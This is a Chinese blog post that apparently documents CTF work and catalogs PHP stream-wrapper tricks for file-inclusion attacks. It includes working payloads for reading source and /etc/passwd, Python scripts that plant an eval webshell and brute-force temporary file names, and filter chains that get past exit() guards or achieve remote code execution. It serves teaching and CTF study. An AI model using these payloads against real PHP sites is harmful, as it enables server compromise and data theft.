HacKerQWQ的博客空间

PHP伪协议小总结

Word count: 2.6kReading time: 13 min
2020/04/27 Share

初步探索

首先我们看到了一个界面

只有一个链接到”./post/index.php?file=show.php”

点进去之后只显示test5

查看源代码之后也找不到头绪
SQL注入也没用

查找writeup

结果:

直接显示出网页源代码的Base64编码

拿去编码之后得出结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
<title>Bugku-ctf</title>

<?php
error_reporting(0);
if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag:flag{edulcni_elif_lacol_si_siht}
?>
</html>

flag{edulcni_elif_lacol_si_siht}

PHP伪协议知识

这道题用了PHP伪协议知识,PHP伪协议,实质上就是支持的协议与封装协议

支持的有12

  • file:// — 访问本地文件系统
  • http:// — 访问 HTTP(s) 网址
  • ftp:// — 访问 FTP(s) URLs
  • php:// — 访问各个输入/输出流(I/O streams)
  • zlib:// — 压缩流
  • data:// — 数据(RFC 2397)
  • glob:// — 查找匹配的文件路径模式
  • phar:// — PHP 归档
  • ssh2:// — Secure Shell 2
  • rar:// — RAR
  • ogg:// — 音频流
  • expect:// — 处理交互式的流

首先说明一下inlude()函数,作用是引用外部文件比如说html,php等等,它对文件的后缀名没有要求而对文件内容有要求,只要是php的内容就会被执行注意是执行而不是显示代码

php://filter

用法:

1
https://www.baidu.com?file=php://filter/...

具体用法:
https://www.baidu.com?file=php://filter/read=convert.base64-encode/resource=./index.php
https://www.baidu.com?file=php://filter/read=string.rot13/resource=./index.php

第一条是读取当前目录下的index.php文件并且以base64编码,浏览器就不会把PHP代码执行了
第二条跟第一条的区别是把编码方式变成了rot13,但是这种编码方式不会编码<?并且使得内容乱码


更多过滤器:

  • 字符串过滤器

    string.rot13
    string.toupper
    string.tolower
    string.strip_tags(过滤标签)

  • 转换过滤器

    convert.base64-encode
    convert.base64-decode

    convert.iconv.utf-8.utf-16be,将utf-8转换为utf-16be

    convert.quoted-printable-encode, 打印所有不可见字符

    convert.unquoted-printable-encode,打印所有可见字符

    convert.iconv.utf-16be.utf-8 ,将utf-16转为utf-8

  • 压缩过滤器

    zlib.deflate(压缩)
    zlib.inflate(解压)
    bzip2.compress & bzip2.decompress(在本地文件系统中创建 bz2 兼容文件的方法)

  • 加密过滤器

    mcrypt.tripledes
    mdecrypt.tripledes
    多个过滤器用|隔开

php7 segment fault特性

php://filter/string.strip_tags=/etc/passwd
php执行过程中出现 Segment Fault,这样如果在此同时上传文件,那么临时文件就会被保存在/tmp目录,不会被删除

例题:https://buuoj.cn/challenges#[NPUCTF2020]ezinclude

例子:

1
2
3
4
5
6
7
8
9
10
11
12
import requests
from io import BytesIO
import re
file_data={
'file': BytesIO("<?php eval($_POST[cmd]);")
}
url="http://d25d00be-1f7f-4fe4-872c-c951e304b522.node3.buuoj.cn/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
try:
r=requests.post(url=url,files=file_data,allow_redirects=False)
except:
print(1)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/usr/bin/env python
# -*- coding: utf-8 -*-

import requests
import string
import itertools

charset = string.digits + string.letters

host = "192.168.43.155"
port = 80
base_url = "http://%s:%d" % (host, port)


def upload_file_to_include(url, file_content):
files = {'file': ('evil.jpg', file_content, 'image/jpeg')}
try:
response = requests.post(url, files=files)
except Exception as e:
print e


def generate_tmp_files():
webshell_content = '<?php eval($_REQUEST[c]);?>'.encode(
"base64").strip().encode("base64").strip().encode("base64").strip()
file_content = '<?php if(file_put_contents("/tmp/ssh_session_HD89q2", base64_decode("%s"))){echo "flag";}?>' % (
webshell_content)
phpinfo_url = "%s/include.php?f=php://filter/string.strip_tags/resource=/etc/passwd" % (
base_url)
length = 6
times = len(charset) ** (length / 2)
for i in xrange(times):
print "[+] %d / %d" % (i, times)
upload_file_to_include(phpinfo_url, file_content)


def main():
generate_tmp_files()


if __name__ == "__main__":
main()

爆破temp文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/usr/bin/env python
# -*- coding: utf-8 -*-

import requests
import string

charset = string.digits + string.letters

host = "192.168.43.155"
port = 80
base_url = "http://%s:%d" % (host, port)


def brute_force_tmp_files():
for i in charset:
for j in charset:
for k in charset:
for l in charset:
for m in charset:
for n in charset:
filename = i + j + k + l + m + n
url = "%s/include.php?f=/tmp/php%s" % (
base_url, filename)
print url
try:
response = requests.get(url)
if 'flag' in response.content:
print "[+] Include success!"
return True
except Exception as e:
print e
return False


def main():
brute_force_tmp_files()


if __name__ == "__main__":
main()

护网杯easyphp(zlib.inflate)

1
2
3
4
5
6
$content = $_GET['content'];
if (preg_match('/iconv|UCS|UTF|rot|quoted|base64|%|toupper|tolower|dechunk|\.\./i'),$content);
die("hacker");
if (file_exists($content))
require_once($content);
file_put_contents($content,'<?php exit();'.$content);

简单代码审计一波,可以直接通过file_put_contents函数生成文件,但是有个<?php exit();所以创建木马也没用,所以需要绕过他,可以通过filter过滤器来进行过滤,通过代码查看发现strip_tags没有过滤,也没有过滤zlib.inflate
因此构造payload

1
2
<?php
echo urlencode("?>".gzdeflate('<?php system($_GET[_]);?>'))."\n";

生成%3F%3E%B3%B1%2F%C8%28P%28%AE%2C.I%CD%D5P%89ww%0D%89%8E%8F%D5%B4%B6%B7%03%00
会发现其中有没有url编码的字符比如.I没有关系,但是%00要去掉不然会截断,从而写不了文件
同时使用string.srip_tags来去除php和html的标签,因为过滤器是从左到右执行的,因此在我们的payload使用zlib解压前不会被去除标签,因此可以构造以下payload

1
php://filter/write=string.strip\_tags|zlib.inflate|%3F%3E%b3%b1%2f%c8%28%50%28%ae%2c%2e%49%cd%d5%50%89%77%77%0d%89%8e%8f%d5%b4%b6%b7%03%3C%3F/resource.php=idlab.php

传入_参数即可执行命令

base64-decode写入(死亡exit)

1
2
3
4
5
<?php
show_source(__FILE__);
$content = '<?php exit; ?>';
$content .= $_POST['data'];
file_put_contents($_POST['filename'], $content);

当可以控制file_put_contents但是存在phpexit时,可以使用base64-decode过滤流再写入,原理是base64解码时只识别A-Za-z0-9\/\=\+范围内的字符串,其他解码后为乱码,因此只需要在phpexit这7个字符的基础上再添加一个字符,后续接上webshell的base64形式即可。

  • 要注意base64编码的时候是8个字符一组

payload:

1
2
filename=php://filter/write=convert.base64-decode/resource=shell.php&data=aPD9waHAgZXZhbCgkX0dFVFsnY21kJ10pOz8+
//PD9waHAgZXZhbCgkX0dFVFsnY21kJ10pOz8+为<?php eval($_GET['cmd']);?>

成功写入payload

image-20230106224829978

终极LFI(利用iconv和base64-decode无文件lfi)

参考地址:https://blog.csdn.net/rfrder/article/details/122326155

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
$base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4";
$conversions = array(
'R' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
'B' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
'C' => 'convert.iconv.UTF8.CSISO2022KR',
'8' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
'f' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
's' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
'z' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
'U' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
'P' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
'V' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
'0' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
'Y' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
'W' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
'd' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
'D' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
'7' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
'4' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
);

$filters = "convert.base64-encode|";
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
$filters .= "convert.iconv.UTF8.UTF7|";

foreach (str_split(strrev($base64_payload)) as $c) {
$filters .= $conversions[$c] . "|";
$filters .= "convert.base64-decode|";
$filters .= "convert.base64-encode|";
$filters .= "convert.iconv.UTF8.UTF7|";
}
$filters .= "convert.base64-decode";

// $final_payload = "php://filter/{$filters}/resource=data://,aaaaaaaaaaaaaaaaaaaa";
$final_payload = "php://filter/{$filters}/resource=/etc/passwd&0=id";
echo($final_payload);

image-20230106231040229

php://input/

使用POST上传PHP代码并执行
下面由于服务器过滤了导致无法执行

php其他用法

协议 作用
php://input 可以访问请求的原始数据的只读流,在POST请求中访问POST的data部分,在enctype=”multipart/form-data” 的时候php://input 是无效的。
php://output 只写的数据流,允许以 print 和 echo 一样的方式写入到输出缓冲区。
php://fd (>=5.3.6)允许直接访问指定的文件描述符。例如 php://fd/3 引用了文件描述符 3。
php://memory php://temp (>=5.1.0)一个类似文件包装器的数据流,允许读写临时数据。两者的唯一区别是 php://memory 总是把数据储存在内存中,而 php://temp 会在内存量达到预定义的限制后(默认是 2MB)存入临时文件中。临时文件位置的决定和 sys_get_temp_dir() 的方式一致。

file://

file://和php://filter差不多,但是只能写绝对路径

1
https://www.baidu.com?file=file://C:/ProgramFile/1.txt

phar://和zip://

phar://和zip://都可以查找指定压缩包内的文件

phar://可以写绝对路径和相对路径

1
2
https://www.baidu.com?file=phar://C:/ProgramFile/test.zip/1.txt
https://www.baidu.com?file=phar://./test.zip/1.txt

而zip://只能写绝对路径

1
https://www.baidu.com?file=zip://./text.zip%231.txt

注意这里的#用于分开压缩包和压缩包文件并且被编码成%23

data://

data和input类似,都可以传入PHP代码执行

  1. data://text/plain
    1
    https://www.baidu.com?file=data://text/plain,<?php echo "flag"; ?>
  2. data://text/plain;base64,
    1
    http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

    http://

http可以传入外部链接

1
https://www.baidu.com?file=http://www.google.com

zip://

使用zip://后悔自动将这个Zip文件按照压缩时的文件结构进行解析,
通过zip://filename%23shell.php的形式对Zip内部压缩的文件进行索引

总结

file:// php:/filter 可以访问本地文件(file://要用绝对路径)
zip:// phar:// 可以访问压缩文件(phar://可以用绝对和相对路径,zip://只能用绝对路径)
php://input data:// 可以传入控制代码(php://input 用POST方法上传,data://直接用url输入就可以)

CATALOG
  1. 1. 初步探索
  2. 2. 查找writeup
  3. 3. PHP伪协议知识
    1. 3.1. php://filter
      1. 3.1.1. php7 segment fault特性
      2. 3.1.2. 护网杯easyphp(zlib.inflate)
      3. 3.1.3. base64-decode写入(死亡exit)
      4. 3.1.4. 终极LFI(利用iconv和base64-decode无文件lfi)
    2. 3.2. php://input/
    3. 3.3. php其他用法
    4. 3.4. file://
    5. 3.5. phar://和zip://
    6. 3.6. data://
    7. 3.7. http://
    8. 3.8. zip://
  4. 4. 总结